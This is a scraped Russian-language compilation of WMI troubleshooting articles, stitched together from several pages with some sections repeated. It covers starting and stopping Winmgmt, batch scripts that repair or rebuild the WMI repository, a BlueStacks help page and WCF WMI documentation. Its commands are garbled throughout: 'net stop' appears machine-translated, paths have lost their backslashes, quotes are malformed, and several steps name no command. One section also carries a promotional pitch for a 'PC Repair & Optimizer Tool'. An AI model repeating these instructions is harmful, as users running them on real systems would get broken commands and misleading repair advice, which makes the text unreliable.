Содержание
- Запуск и остановка службы WMI
- Запуск службы WinMgmt
- Остановка службы WinMgmt
- Примеры
- Восстановление работы Windows Management Instrumentation (WMI) после фатального сбоя
- 1 ответ 1
- Как включить инструментарий управления Windows (WMI)?
- Исправление ошибки инструментария управления Windows (WMI) 1083
- Обновление за апрель 2021 года:
- Зарегистрируйте qmgr.dll и qmgrproxy.dll
- Настройте Services.msc
- Используйте командную строку
Запуск и остановка службы WMI
Инструментарий WMI запускается как служба с отображаемым именем «инструментарий управления Windows (WMI)» и именем службы «Winmgmt». Инструментарий WMI запускается автоматически при запуске системы под учетной записью LocalSystem. Если инструментарий WMI не запущен, он автоматически запускается, когда первое приложение или сценарий управления запрашивают соединение с пространством имен WMI.
Некоторые другие службы зависят от службы WMI в зависимости от версии операционной системы, в которой работает система.
Запуск службы WinMgmt
В следующей процедуре описывается запуск службы WMI.
Запуск службы WinMgmt
В командной строке введите net Start Winmgmt [ / ] .
Дополнительные сведения о доступных параметрах см. в разделе Winmgmt. Для запуска службы WMI используется встроенная учетная запись администратора или учетная запись в группе «Администраторы», которая работает с повышенными правами. Дополнительные сведения см. в разделе Управление учетными записями пользователей и инструментарий WMI.
Другие службы, зависящие от службы WMI, такие как узел агента SMS или брандмауэр Windows, не будут перезапущены автоматически.
Остановка службы WinMgmt
В следующей процедуре описывается, как прерывать работу службы WMI.
Завершение службы WinMgmt
В командной строке введите команду net останавливаться Winmgmt.
Также останавливается работа других служб, зависящих от службы WMI, таких как узел агента SMS или брандмауэр Windows.
Примеры
Коллекция TechNet содержит сценарий наблюдения службы WMI, в котором описывается программное завершение работы и перезапуск службы Winmgmt с помощью PowerShell.
Восстановление работы Windows Management Instrumentation (WMI) после фатального сбоя
На компьютере под управлением Windows 10 перестала работать WMI .
Никакие скрипты, раньше нормально работавшие, теперь не функционируют. Диапазон возвращаемых ошибок достаточно велик: 0x80041XXX, 0x800420XX, 0x700310XX (“Инициализация класса WMI невозможна”, “Вызов WMI запрещен”, “WMI вернул некорректный ответ”, «Ошибка в файле WMI.MOF» и так далее).
Возможно ли это исправить? Почему это произошло? Если нет, то можно ли работать без функционирующего WMI ?
1 ответ 1
Я столкнулся с этой ситуацией на днях: мои студенты тестировали управление системными функциями и две машины в домене (на обеих – Windows 10) стали возвращать ошибки при работе с Windows Management Instrumentation. Основной админ ещё не вышел из отпуска, пришлось вспоминать, что я бывший руководитель Отдела ИТ 🙂
Сразу отвечу на третий вопрос: без рабочего WMI, на мой взгляд, можно оставлять лишь домашний игровой компьютер, на котором, кроме игр и просмотра видео, больше ничего не делается (разве что дети учатся программировать). В остальных случаях, особенно на корпоративных машинах, тем более в домене, WMI должна работать как часы. Это моё мнение, кто-то может не согласиться.
Теперь о причинах произошедшего: их может быть очень много. Забегая вперед, скажу что на одной машине это произошло из-за того, что на жестком диске закончилось место, а затем был сбой по питанию из-за сломанного ИБП (увы, никто не застрахован; сервера, конечно, защищены от подобного, а обычная рабочая машинка не была). На второй хуже: нефатальный сбой жесткого диска с последующим BSOD. В целом, разобраться с причинами не так уж и важно, главное, выяснить, что причиной не является вирус или попытка взлома. Впрочем, намеренное удаление или случайная порча системных файлов тоже должны быть рассмотрены достаточно пристально.
Восстановление работоспособности WMI следует проводить поэтапно, от щадящих методов к деструктивным. Следует быть готовым к тому, что в самом худшем случае систему придётся переустановить. Не стоит лишний раз напоминать, что большинство команд должно выполняться от имени администратора.
1 этап. Проверка работы сервиса.
Проверяем имеется ли в системе служба Windows Management Instrumentation (Winmgmt) и включена ли она. Вызываем Службы (в Windows 10 проще всего через Пуск/Средства администрирования/Службы, но я предпочитаю в любой версии Windows, кроме самых старых, напечатать в командной строке services.msc ), ищем Инструментарий управления Windows/Windows Management Instrumentation , проверяем, запущена ли она:
Если она не запущена, пытаемся запустить, выставим режим запуска в «Автоматически». Если запущена, пытаемся перезапустить (Остановить/запустить). После этого проверяем работоспособность WMI. Проще всего сделать это, выполнив любой WMI-запрос в powershell (напоминаю, что powershell в Windows 10 запускается через Пуск/Windows PowerShell/Windows Power Shell, но проще, на мой взгляд, запустить командную строку с админовскими правами, а в ней уже набрать powershell ), например, такой: (вы можете выполнить другой, свой любимый :))
Если у вас вылетела портянка объектов, всё в порядке. Если же полезли ошибки, значит, работоспособность не восстановлена, переходим ко второму этапу.
Между делом скажу пару слов об официальной утилите Microsoft WMI Diagnosis. Все почему-то наперебой её рекомендуют, как хороший помощник при восстановлении. Увы, я убил достаточно много времени на анализ результатов действия этой утилиты: скрипт создал кучу лог-файлов, через которые продраться можно, если вы никуда не торопитесь, у вас есть куча времени и полкило пуэра/кофе-машина. В причинах сбоев я разобрался быстрее без неё. Вероятность того, что она может помочь непосредственно в скором восстановлении работы WMI – очень мала.
2 этап. Недеструктивное восстановление
Стоит попытаться вначале выполнить перерегистрацию библиотек и рекомпиляцию файлов расширения свойств объектов ( Managed Object Format, MOF ) и языковую составляющую этих файлов ( MFL ). Практически гарантированно сработает, если попытка WMI-запроса у вас вызывала ошибку вида “Ошибка в файле WMI.MOF” или любом другом MOF-файле. Для этого выполним следующие операции:
- Остановим службу WMI, обязательно запретив её автостарт
- Перерегистрируем все библиотеки в папке Windowssystem32wbem
- Перерегистрируем службы WMI и WMI Provider Host
- Запускаем службу WMI и разрешаем её автостарт
- Рекомпилируем MOF и MFL файлы
Можно собрать всё это в один BAT-файл и запустить:
Отмечу, что таким образом я восстановил работу WMI на первой машине. Со второй, увы не получилось. Если у вас не получается, пора переходить к 3му этапу
3 этап. Деструктивное восстановление
Фактически, на 3м этапе мы пересоздаем хранилище WMI, как таковое, которое находится в папке WindowsSystem32WbemRepository и является базой данных, в которой хранятся данные и определения стандартных WMI-классов и статическая информация дополнительных WMI-классов, если они создавались на вашей машине.
Перед операциями проверьте состояние жёсткого диска и файловой системы.
Проверяем целостность (На Windows XP и ниже не работает):
В случае ответа отличного от “База данных WMI согласована”, можно выполнить «мягкое восстановление» командой:
с последующим перезапуском службы:
Если мягкое восстановление не помогло, пробуем вернуть хранилище в начальное состояние (последствия: все дополнительные классы WMI, когда-либо зарегистрированные в вашей системе, скорее всего, придётся регистрировать заново):
с последующим рестартом системы. Отмечу, что вторая машина заработала после этого этапа. Последствия были не сильно удручающими, но серьёзными: пришлось переинсталлировать Visual Studio и Delphi Starter, MS Office отказался работать и его пришлось деинсталлировать вручную, удаляя папки, файлы и записи из реестра, с последующей повторной установкой. Также слетели все наши собственные классы WMI.
Но, если и это не помогло, придётся удалять и создавать хранилище заново. Это можно сделать следующим BAT-файлом:
Перегружаем компьютер. Если и после этих действий WMI не заработала, путь один – переустановка системы.
Как включить инструментарий управления Windows (WMI)?
Цель статьи:
В этой статье вы узнаете, как включить инструментарий управления Windows (WMI) на вашем ПК.
Получаемые преимущества:
Если инструментарий управления Windows (WMI) приостановлен или отключен, то это может стать причиной проблем с запуском BlueStacks. Включение WMI позволит исправить возникшую ситуацию.
Затрагиваемые версии BlueStacks:
Все версии BlueStacks.
Затрагиваемая аудитория:
Все пользователи BlueStacks.
Затрагиваемые регионы:
Инструкции:
1. Пожалуйста, нажмите комбинацию клавиш ⊞ Win+R.
2. В окне «Выполнить» наберите команду services.msc
3. Нажмите на кнопку OK или на клавишу Enter.
3. После появится окно с различными службами.
4. Найдите инструментарий управления Windows. Правым кликом мыши вызовите контекстное меню и выберите «Свойства».
5. В опции «Тип запуска» выберите вариант «Автоматически» и нажмите на кнопку «ОК».
6. Далее вновь вызовите контекстное меню, кликнув на инструментарий управления Windows, и нажмите на «Запустить».
7. Закройте окно со службами.
8. Закройте BlueStacks и вновь запустите его.
Мы ценим, что вы с нами. Надеемся, вам нравится опыт использования программы BlueStacks. По любым вопросам пишите нам на support (собака) bluestacks (точка) com. Большое спасибо!
Исправление ошибки инструментария управления Windows (WMI) 1083
Могут быть случаи, когда вы пытаетесь открыть службу Windows, такую как инструментарий управления Windows, и ошибка отображается в следующем сообщении.
Ошибка 1083: исполняемая программа, для которой настроен этот сервис, не реализует сервис.
Система может иметь Ошибки WMI, но, кажется, работает правильно большую часть времени. Потому что WMI чаще всего используется для диагностики системы. Текстовый процессор, электронная таблица или программа электронной почты редко зависят от WMI. Вы можете использовать эту процедуру для проверки состояния WMI вашей системы:
- Щелкните правой кнопкой мыши значок «Мой компьютер» и выберите «Управление». (Вы также можете нажать Пуск, Панель управления, Инструменты администрирования, Управление компьютером.)
- Щелкните левой кнопкой мыши [+] рядом со Службами и приложениями, чтобы развернуть древовидную структуру.
- Щелкните левой кнопкой мыши на WMI Control.
- Теперь щелкните правой кнопкой мыши на том же элементе управления WMI и выберите Свойства.
- Если WMI работает правильно, вы увидите «Успешное подключение к».
- Если WMI неисправен, вы увидите одно или несколько сообщений об ошибках в диалоговом окне.
Обновление за апрель 2021 года:
Теперь мы рекомендуем использовать этот инструмент для вашей ошибки. Кроме того, этот инструмент исправляет распространенные компьютерные ошибки, защищает вас от потери файлов, вредоносных программ, сбоев оборудования и оптимизирует ваш компьютер для максимальной производительности. Вы можете быстро исправить проблемы с вашим ПК и предотвратить появление других программ с этим программным обеспечением:
- Шаг 1: Скачать PC Repair & Optimizer Tool (Windows 10, 8, 7, XP, Vista — Microsoft Gold Certified).
- Шаг 2: Нажмите «Начать сканирование”, Чтобы найти проблемы реестра Windows, которые могут вызывать проблемы с ПК.
- Шаг 3: Нажмите «Починить все», Чтобы исправить все проблемы.
Зарегистрируйте qmgr.dll и qmgrproxy.dll
Внимательно следуйте этим шагам, так как они должны быть правильно введены в командной строке:
- Щелкните Пуск> Выполнить.
- Введите «cmd»
- Введите «regsvr32 qmgr.dll» в CMD и нажмите Enter.
- Также введите «regsvr32 qmgrprxy.dll» и нажмите Enter.
- Выход CMD
- Затем нажмите Пуск> Выполнить> Введите services.msc и нажмите Enter.
- В окне «Службы» выделите «Службу Smart Transfer» в фоновом режиме и дважды щелкните ее.
- На вкладке Общие нажмите Пуск, чтобы запустить службу.
Настройте Services.msc
1. Откройте Services.msc.
2. Откройте свойства сервиса, который вы не хотите запускать.
3. обратите внимание на последнюю запись в конце «пути к исполняемому файлу», например C: Windows system32 svchost.exe -k LocalServiceAndNoImpersonation
4. Перейдите к HKEY_LOCAL_MACHINE SOFTWARE Microsoft Windows NT CurrentVersion Svchost в реестре.
5. На правой панели откройте строку, соответствующую пути к исполняемой записи, затем добавьте точное имя службы.
6. Закройте regedit и перезапустите. Теперь проверьте, запущен ли сервис.
7. Повторите эту операцию для всех служб, которые имеют эту проблему.
Используйте командную строку
Чтобы устранить эту ошибку и восстановить отсутствующие или поврежденные записи реестра, выполните следующие действия:
Запустите сеанс командной строки.
Чтобы отменить регистрацию библиотек производительности службы WMI (также известный как WinMgmt), введите
Чтобы остановить все копии, на которых запущена служба WMI, введите следующую команду
Объявите службу WMI, введя
Зарегистрируйте службу WMI, введя следующее
Зарегистрируйте все библиотеки производительности службы WMI, введя следующее
Если это не поможет, вы можете восстановить или перестроить репозиторий WMI и посмотреть, поможет ли это.
CCNA, веб-разработчик, ПК для устранения неполадок
Я компьютерный энтузиаст и практикующий ИТ-специалист. У меня за плечами многолетний опыт работы в области компьютерного программирования, устранения неисправностей и ремонта оборудования. Я специализируюсь на веб-разработке и дизайне баз данных. У меня также есть сертификат CCNA для проектирования сетей и устранения неполадок.
Содержание
- Запуск и остановка службы WMI
- Запуск службы WinMgmt
- Остановка службы WinMgmt
- Примеры
- WMI: Исправление ошибок, восстановление репозитория в Windows
- Диагностика проблем с WMI
- Исправление WMI репозитория, перерегистрация библиотек, перекомпиляция MOF файлов
- Сброс и пересоздание WMI репозитория (хранилища)
- Использование Windows Management Instrumentation для диагностики
- Реализация WMI
- Доступ к данным WMI
- Безопасность
- Предоставление дополнительным пользователям разрешений на регистрацию WCF WMI
- Предоставление разрешения на доступ к пространству имен WMI
- Предоставление доступа к регистрации поставщика
- Предоставление доступа произвольным пользователям или группам
- Доступ к экземплярам удаленных объектов WMI
- WMI CIM Studio
- Тестер инструментария управления Windows
Запуск и остановка службы WMI
инструментарий WMI запускается как служба с отображаемым именем «инструментарий управления Windows (WMI)» и именем службы «winmgmt». Инструментарий WMI запускается автоматически при запуске системы под учетной записью LocalSystem. Если инструментарий WMI не запущен, он автоматически запускается, когда первое приложение или сценарий управления запрашивают соединение с пространством имен WMI.
Некоторые другие службы зависят от службы WMI в зависимости от версии операционной системы, в которой работает система.
Запуск службы WinMgmt
В следующей процедуре описывается запуск службы WMI.
Запуск службы WinMgmt
Дополнительные сведения о доступных параметрах см. в разделе Winmgmt. Для запуска службы WMI используется встроенная учетная запись администратора или учетная запись в группе «Администраторы», которая работает с повышенными правами. Дополнительные сведения см. в разделе Управление учетными записями пользователей и инструментарий WMI.
другие службы, зависящие от службы WMI, такие как узел агента SMS или брандмауэр Windows, не будут перезапущены автоматически.
Остановка службы WinMgmt
В следующей процедуре описывается, как прерывать работу службы WMI.
Завершение службы WinMgmt
В командной строке введите команду net останавливаться Winmgmt.
также останавливается работа других служб, зависящих от службы WMI, таких как узел агента SMS или брандмауэр Windows.
Примеры
Коллекция TechNet содержит сценарий наблюдения службы WMI, в котором описывается программное завершение работы и перезапуск службы Winmgmt с помощью PowerShell.
Источник
WMI: Исправление ошибок, восстановление репозитория в Windows
Любой бывалый Windows-админ периодически сталкивается с проблемами в работе службы WMI (Windows Management Instrumentation) и ее компонентах. Наличие проблем в подсистеме WMI является критичным с точки зрения нормального функционирования Windows, поэтому администратору необходимо проверить и восстановить работоспособность WMI. В этой статье мы опишем простую методику диагностирования и устранения неполадок службы WMI в Windows.
О наличии проблем с WMI может свидетельствовать широкий спектр ошибок:
Диагностика проблем с WMI
В первую очередь нужно проверить служба Windows Management Instrumentation (Winmgmt) установлена в Windows и запущена. Вы можете проверить состояние службы в консоли services.msc или с помощью PowerShell:
Get-Service Winmgmt | Select DisplayName,Status,ServiceName
Если служба Winmgmt запущена, вы можете проверить работоспособность WMI, обратившись к ней с помощью простого WMI-запроса. Вы можете выполнить wmi запрос из командной строки или из PowerShell. Например, следующая команда выведет список установленных в Windows программ:
wmic product get name,version
Простейшая PowerShell команда для получения информации о версии и билда Windows 10 через WMI может выглядеть так:
Как вы видите, служба WMI ответила на запрос корректно. Если при выполнении такого WMI-запроса Windows возвращает ошибку, скорее всего сервиса WMI работает некорректно, поврежден WMI репозиторий или есть какие-то другие проблемы.
В моем случае, например, при открытии свойств WMI Control в консоли управления компьютером (compmgmt.msc) появлялась надпись:
Ранее для диагностики WMI существовала официальная утилита от Microsoft – WMIDiag.vbs (Microsoft WMI Diagnosis). WMIdiag это vbs скрипт, который проверяет различные подсистемы WMI и записывает собранную информацию в лог файлы (по умолчанию логи находятся в каталоге %TEMP% — C:USERS%USERNAME%APPDATALOCALTEMP). Получившийся отчет состоит из файлов, имена которых начинаются с WMIDIAG-V2.2 и включает в себя следующие типы фалов:
в противном случае появится ошибка:
После окончания работы утилиты WMIDiag администратор должен изучить полученные файлы логов, проанализировать и попытаться исправить найденные ошибки.
К сожалению, последняя версия WMIDiag 2.2 корректно работает только с версиями до Windows 8.1/Windows Server 2012 R2. На данный момент Microsoft даже удалила ссылку на загрузку WMIDiag из Download Center. Но при желании, этот скрипт можно найти в сети.
WMIDiag может дать подробную информацию по исправлению частных ошибок в WMI, но в большинстве случаев процесс это довольно трудоемкий и стоит потраченного времени только при решении инцидентов в критичных системах (как правило, на продуктивных серверах). Для массового сегмента рабочих станций пользователей сбросить и пересоздатьWMI репозиторий в Windows.
Исправление WMI репозитория, перерегистрация библиотек, перекомпиляция MOF файлов
В Windows 10/Windows Server 2016 вы можете проверить целостность репозитория WMI с помощью команды:
Если команда возвращает, что база данных WMI находится в неконсистентном состоянии (INCONSISTENT или WMI repository verification failed), стоит попробовать выполнить “мягкое” исправление ошибок репозитория:
Данная команда выполняет проверку согласованности хранилища WMI и при обнаружении несогласованности перестраивает базу данных WMI.
Перезапустите службу WMI:
net stop Winmgmt
net start Winmgmt
Если стандартный способ исправления ошибок в WMI не помог, попробуйте следующий скрипт. Данный скрипт представляет собой ”мягкий” вариант восстановления службы WMI на компьютере (выполняется перерегистрация dll библиотек и службы WMI, перекомпилируются mof файлы). Данная процедура является безопасной и ее выполнение не должно привести к каким-либо новым проблемам с системой.
sc config winmgmt start= disabled
net stop winmgmt
cd %windir%system32wbem
for /f %s in (‘dir /b *.dll’) do regsvr32 /s %s
wmiprvse /regserver
sc config winmgmt start= auto
net start winmgmt
for /f %s in (‘dir /b *.mof’) do mofcomp %s
for /f %s in (‘dir /b *.mfl’) do mofcomp %s
Указанные команды можно выполнить путем простой вставки в окно командой строки, либо сохранить код в bat файле wmi_soft_repair.bat и запустить его с правами администратора. После окончания работы скрипта, перезагрузите Windows и проверьте работу WMI.
Сброс и пересоздание WMI репозитория (хранилища)
Если вам не помогли мягкие способ восстановления WMI, рассмотренные выше, придется перейти к более “жесткому” способу восстановления работоспособности службы WMI, заключающегося в пересоздании хранилищаWMI.
Если вы подозреваете, что репозиторий WMI поврежден, имейте в виду, что его пересоздание — это последняя шаг, к которому нужно прибегнуть только тогда, когда другие операции не помогают реанимировать WMI.
Следующая команда выполнит сброс базы данных WMI к исходному состоянию (как после чистой установки Windows). Используйте эту команду для выполнения hard reset репозитория WMI, если параметре salvagerepository не исправил проблему:
Если обе команды ( Winmgmt /salvagerepository и Winmgmt /resetrepository ) не восстановили консистентное состояние базы WMI, попробуйте выполнить “жесткое” пересоздание базы WMI вручную таким скриптом:
sc config winmgmt start= disabled
net stop winmgmt
cd %windir%system32wbem
winmgmt /resetrepository
winmgmt /resyncperf
if exist Repos_bakup rd Repos_bakup /s /q
rename Repository Repos_bakup
regsvr32 /s %systemroot%system32scecli.dll
regsvr32 /s %systemroot%system32userenv.dll
for /f %s in (‘dir /b *.dll’) do regsvr32 /s %s
for /f %s in (‘dir /b *.mof’) do mofcomp %s
for /f %s in (‘dir /b *.mfl’) do mofcomp %s
sc config winmgmt start= auto
net start winmgmt
wmiprvse /regserver
Данный скрипт полностью пересоздает хранилище WMI (старый репозиторий сохраняется в каталог Repos_bakup). После окончания работы скрипта нужно перезагрузить Windows. Затем протестируйте работу службы WMI простым запросом.
Проверьте состояние WMI репозитория. Если ошибки исправлены, команда winmgmt /verifyrepository должна вернуть:
В этой статье мы собрали основные способы, позволяющие продиагностировать и устранить неполадки службы и репозитория WMI.
отличная и очень редкая информация! спасибо!
Отличная полезная статья. Сразу решил проблему.
На компьютере возникли проблемы в WMI. При каждом запуске компьютера выходит окошко: «The model does not support WMI», компьютер при этом работает как обычно. Нашла Вашу статью «Устранение неполадок в WMI» и, руководствуясь ей, сначала проверила имеется ли в системе служба Windows Management Instrumentation и включена ли она (имеется и включена), а затем, как у Вас написано, попробовала протестировать работоспособность WMI, обратившись к ней с помощью Powershell — служба выдаёт корректный ответ. Также, вычитав информацию на другом ресурсе, вводила в командную строку sfc/scannow, но никаких ошибок. Посоветуйте, пожалуйста, что я могу сделать?
Как правило в таких ситуациях должен помочь ребилд хранилища WMI. Попробуйте, в статье это подробно описано.
Спасибо, выручил.
Я сразу воспользовался же методом «Перерегистрация библиотек WMI и перекомпиляция mof файлов»
Плиз, поясните по-подробнее смысл команды
if exist Repos_bakup rd Repos_bakup /s /q и её ключей. То ли это условное указание на незнамо что или ещё что. Я в сомнениях по недомыслию. Сенькую.
Плиз, поясните по-подробнее смысл команды
if exist Repos_bakup rd Repos_bakup /s /q и её ключей. То ли это условное указание на незнамо что или ещё что. Я в сомнениях по недомыслию. Сенькую. А то на некоторых сайтах со ссылкой на ваш скрипт юзеры, его применившие, плачут на полный стопер системы и вынуждены откатываться.
ОГРОМНОЕ СПАСИБО! Ничего не помогало, наткнулся на эту статью случайно ЗАРАБОТАЛО! Поклоны бью!
C:WindowsSystem32wbem>for /f %%s in (‘dir /b *.dll’) do regsvr32 /s %%s
Непредвиденное появление: %%s.
oO
windows 2012 r2
У вас в команде неправилные одиночные кавычки. Наберите руками.
for /f %%s in (‘dir /b *.dll’) do regsvr32 /s %%s
у меня та же проблема. кавычки правильные вроде
Формат %%s используется при запуске внутри сценария (*.bat или *.cmd файла).
При использовании в консоли нужно убрать один знак ‘%’. Т.е. команда будет такая:
for /f %s in (‘dir /b /s *.dll’) do regsvr32 /s %s
Здравствуйте. Я ни разу не системщик, работаю вынужденно на фрилансе. Столкнулся в 8.1 Pro с признаками, которые не мог распознать, стал копать, вышел на WMI. К моменту разборок со службой точки сохранения старше 2 дней уже были затёрты. Нашёл, как заменить куст System версией из RegBack с помощью инсталляционного диска (там дата была недельной давности). Нашёл ваши рекомендации. Остановил службу, ввожу (power shell из-под админа, для меня непонятно его отличие от командной строки, командную строку запустил чуть позже) for /f %%s in (‘dir /b *.dll’) do regsvr32 /s %%s — мне отвечает: «строка:1 знак:4
+ for /f %%s in (‘dir /b *.dll’) do regsvr32 /s %%s
+ »
Отсутствует открывающий знак «(» после ключевого слова «for»…
Дописываю скобку после for — выдаёт строку >> и тишина.
Читаю комменты — «надо убрать знак «%», если не бат-файл. Но если он выдаёт ошибку со скобкой, то бат-файл не выполнится.
Там же вы пишите «Указанные команды можно выполнить путем простой вставки в окно командой строки» — и ни слова про %%.
Понятно, что продираюсь сквозь ваши советы, и конечно спасибо, но для несистемщика — очень тяжко.
Вот еще: wmiprvse /regserver командная строка молча проглотила, а на winmgmt /regserver командная строка ответила «недопустимый параметр
WMI
Использование:….»
далее идёт мануал.
Для меня это тупик, не понимаю. Стал выполнять далее, на последнюю строку for /f %s in (‘dir /b *.mfl’) do mofcomp %s ответил: Файл не найден.
Подскажите, пожалуйста, при установке на Windows 7 x64 пакета WebDeploy 3.6 в самом конце установки пишет об ошибке в скрипте и возвращает код ошибки 1702. Гугл сообщает, что ошибка возможно кроется в некорректной работе WMI, перекомпиляция файлов приведенным скриптом (указанная на форумах как путь решения проблемы) не помогла.
В логе установщика ошибка при вызове InstallEtwManifest.
WMIDiag пишет о наличии ошибок в ключах CLSID, связанных с InProcServer32.
winmgmt /verifyrepository возвращает, что все ОК
Заранее благодарен
Почему вы решили, что ошибка связана с WMI, возможно дело в самом установщике или службы Windows Installer.
Согласно кодов ошибок установщика MSI:
1702 — Configuring [2] cannot be completed until you restart your system
Попробуйте просто перезагрузить систему
1) Попробуйте произвести установку с отключенным UAC.
2) Включите ведение подробного журнала установщика Windows m siexec /i /l*v c:tmpinstall.log
Может в логе что-то более конкретное будет…
Не работает служба WMI Writer
Собственно из-за этой службы не имею возможность делать полный БэкАп системы через Акронис, в Акронисе сказали, обратиться в службу поддержки Майкрософт. Перерегистрация компонентов VSS (Volume Shadow Copy Service) в Windows Server не помогла. Что еще можно сделать? спасибо! 🙁
При вводе 3-ей строки споткнулась на том, что не знаю, как вводится спецсимвол иена (юань) в командной строке. Подскажите, пожалуйста!
Не пойму, где вы нашли символ иены? Из спецсимволов использованы только проценты….
Код скрипт не нужно вводит — выполняйте его через копировать/вставить
Подскажите, пожалуйста, как вводятся символы в командную строку, которых нет на клавиатуре? Необходимо восстановить файл WMIServi Application.
Спец символы можно вводить с клавиатуры,, зажав клавишу alt и набрав код символа на цифровой клавиатуры. Таблица с кодами ASCII символов легко ищется в Интернете.
Например, чтобы набрать символ градуса (º), нужно зажать ALT, и ввести 0176 на цифровой (!!) клавиатуре (не цифры на основной).
Либо копи/паст из Word
Спасибо за подсказку, с символами ASCII и таблицей я разобралась. Проблема в том, что скопировать и вставить в командную строку ничего не получается; ПК — ноутбук, цифровая клавиатура есть, но в виртуальном виде, и магии в виде преобразования цифр в символы ASCII не происходит. Очень прошу, подскажите, как быть?
1) Подключила доп. клавиатуру, простые символы перекодируются, сложные (30%) — нет. Как получить сложные символы? 2) Можно ли настроить командную строку т. о., чтобы пользоваться функциями копи/вставка? Windows Vista.
Попробуйте выполнить команду: cmd /u
Это переключение в Unicode
Алина, а зачем собственно вам спец сиволы в cmd? Может вы не с того конца заходите к проблеме?
Может быть. Попробую восстановить все удалённые файлы. Большое Спасибо за помощь и за конструктивный подход в решении компьютерных задач!
Приветствую, возник такой вопрос, при вводе вот этих команд:
winmgmt /kill
winmgmt /unregserver
winmgmt /regserver
пишет: недопустимый параметр, так и должно быть?
еще наткнулся вот на такой сценарий:
sc config winmgmt start= disabled
rundll32 wbemupgd, RepairWMISetup
rundll32 wbemupgd, UpgradeRepository
regsvr32 /s %systemroot%system32scecli.dll
regsvr32 /s %systemroot%system32userenv.dll
for /f %%s in (‘dir /b *.dll’) do regsvr32 /s %%s
for /f %%s in (‘dir /b *.mof’) do mofcomp %%s
for /f %%s in (‘dir /b *.mfl’) do mofcomp %%s
sc config winmgmt start= auto
я так понял это то же самое, что и в «жестком» пересоздании базы, вот только есть другие команды и в конце последовательность другая команды winmgmt /regserver — это влияет?
Добрый день
Подскажите, на эту ошибку нужно обращать внимание:
Инструментарий управления Windows остановил WMIPRVSE.EXE, так как для квоты достигнут порог предупреждения. Квота: HandleCount, значение: 4099, максимальное значение: 4096, PID WMIPRVSE: 2320, поставщики в этом процессе: %systemroot%system32wbemcimwin32.dll, %systemroot%system32wbemntevt.dll
Да все при этом вроде бы все нормально работает.
Спасибо! Помог мягкий способ! Но столкнулся с проблемой:
«winmgmt /regserver
пишет: недопустимый параметр, так и должно быть?»
Также были проблемы с %%s и %s — внесите коррективы к описанию в самом начале, пожалуйста.
Проблема возникла на Win10 — ноутбук Acer Aspire R3-471GT после вынужденного обновления BIOS от производителя.
Сейчас все работает, кроме сенсорного ввода. Пытаюсь решить проблему дальше
чет не один из вариантов не помог :((
на команду winmgmt /verifyrepository пишет что базы согласованы, но все равно пуск не удался, даже не знаю что делать
есть варианты еще?
Добрый день! А Вы сталкивались с ошибкой: Регистрация сервера <73e709ea-5d93-4b2e-bbb0-99b7938da9e4>DCOM не выполнена за отведенное время ожидания. 73E709EA-5D93-4B2E-BBB0-99B7938DA9E4 — это как раз Microsoft WMI Provider Subsystem Host. Система Windows Server 2012 полсе перезагрузки работает ровно 6 дней без проблем потом начинаются сыпаться эти ошибки каждые 10 минут.
Не сталкивался, поищите описание проблемы в буржунете по запросу «The server <784e29f4-5ebe-4279-9948-1e8fe941646d>did not register with DCOM within the required timeout.»
Источник
Использование Windows Management Instrumentation для диагностики
Windows Communication Foundation (WCF) предоставляет данные проверки службы во время выполнения через поставщик WCF инструментарий управления Windows (WMI) (WMI).
Реализация WMI
Встроенный поставщик инструментария WMI может быть активирован в файле конфигурации приложения. Это делается с помощью wmiProviderEnabled атрибута в разделе, как показано в следующем образце конфигурации.
Эта запись конфигурации предоставляет интерфейс инструментария WMI. Теперь приложения управления могут подключаться через этот интерфейс и обращаться к инструментарию управления приложения.
Доступ к данным WMI
Необходимо помнить, что если прослушиватели трассировок журнала сообщений для журнала сообщений или прослушиватели трассировок System.ServiceModel для трассировок не заданы в файле конфигурации, ни одно из изменений не будет применено, даже если эти изменения принимаются инструментарием WMI. Дополнительные сведения о правильной настройке соответствующих прослушивателей см. в разделе Настройка ведения журнала сообщений и Настройка трассировки. Уровень трассировки всех остальных источников трассировки, заданных конфигурацией, действителен только при запуске приложения и не может быть изменен.
WCF предоставляет GetOperationCounterInstanceName метод для создания скриптов. Если передать этому методу имя операции, он возвращает имя экземпляра счетчика производительности. Однако он не проверяет входные данные. Таким образом, если передать ему неправильное имя операции, возвращается неверное имя счетчика.
OutgoingChannel Свойство Service экземпляра не учитывает каналы, открытые службой для подключения к другой службе, если клиент WCF для целевой службы не создан в Service методе.
Внимание! WMI поддерживает только TimeSpan значение до 3 десятичных разделителей. Например, если одному из свойств служба присваивает значение MaxValue, при просмотре через WMI это значение усекается до 3 знаков после десятичного разделителя.
Безопасность
Так как поставщик WMI WCF позволяет обнаруживать службы в среде, следует соблюдать особую осторожность при предоставлении доступа к ней. При изменении настроек по умолчанию, при которых доступ предоставляется только администратору, третьи лица с более низкой степенью доверия могут получить доступ к конфиденциальным данным в среде. В частности, при расширении разрешений для удаленного доступа к WMI могут возникнуть атаки на переполнение. При переполнении процесса избыточными запросами WMI производительность процесса может снизится.
Кроме того, при расширении прав доступа к файлу MOF третьи лица с более низкой степенью доверия могут управлять поведением WMI и изменять объекты, находящиеся в схеме WMI. Например, поля могут быть удалены таким образом, что критические данные скрыты от администратора; или поля, которые не заполняются или вызывают исключения, добавляются в файл.
по умолчанию поставщик WMI WCF предоставляет разрешения «выполнение метода», «запись поставщика» и «включить учетную запись» для администратора, а также разрешение «включить учетную запись» для ASP.NET, локальной службы и сетевой службы. в частности, на платформах, отличных от Windows Vista, учетная запись ASP.NET имеет доступ на чтение к пространству имен WMI ServiceModel. Если требуется не предоставлять эти привилегии определенной группе пользователей, нужно либо деактивировать поставщика инструментария WMI (по умолчанию он отключен), либо запретить доступ указанной группы пользователей.
Возможно, поставщик инструментария WMI не удастся включить через конфигурацию по причине недостаточных привилегий пользователя. Однако при возникновении этого сбоя никакой записи в журнале событий не делается.
Для изменения уровней привилегий пользователя выполните следующие шаги.
Нажмите кнопку Пуск, а затем запустите и введите compmgmt. msc.
Выберите конкретную группу или пользователя, которым требуется управлять доступом, и используйте флажок Разрешить или запретить для настройки разрешений.
Предоставление дополнительным пользователям разрешений на регистрацию WCF WMI
WCF предоставляет доступ к данным управления для WMI. Это достигается за счет размещения внутрипроцессного поставщика WMI, который иногда называется «несвязанным поставщиком». Для предоставления доступа к данным управления учетная запись, которая регистрирует этот поставщик, должна иметь необходимые разрешения. В Windows регистрация несвязанных поставщиков по умолчанию доступна только небольшому числу привилегированных учетных записей. Это обстоятельство вызывает затруднения, поскольку пользователям обычно нужно предоставлять доступ к данным WMI из службы WCF, которая работает с учетной записью, не входящей в набор по умолчанию.
Чтобы предоставить такой доступ, администратор должен предоставить дополнительной учетной записи следующие разрешения в указанном порядке:
